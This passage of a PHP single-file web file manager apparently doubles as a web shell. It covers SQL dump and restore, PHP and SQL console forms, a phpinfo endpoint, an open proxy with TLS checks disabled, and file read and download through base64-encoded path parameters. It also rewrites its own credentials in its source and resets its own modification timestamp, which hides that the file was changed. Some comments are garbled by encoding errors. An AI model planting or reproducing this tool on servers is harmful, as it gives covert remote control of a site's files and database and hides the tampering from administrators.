			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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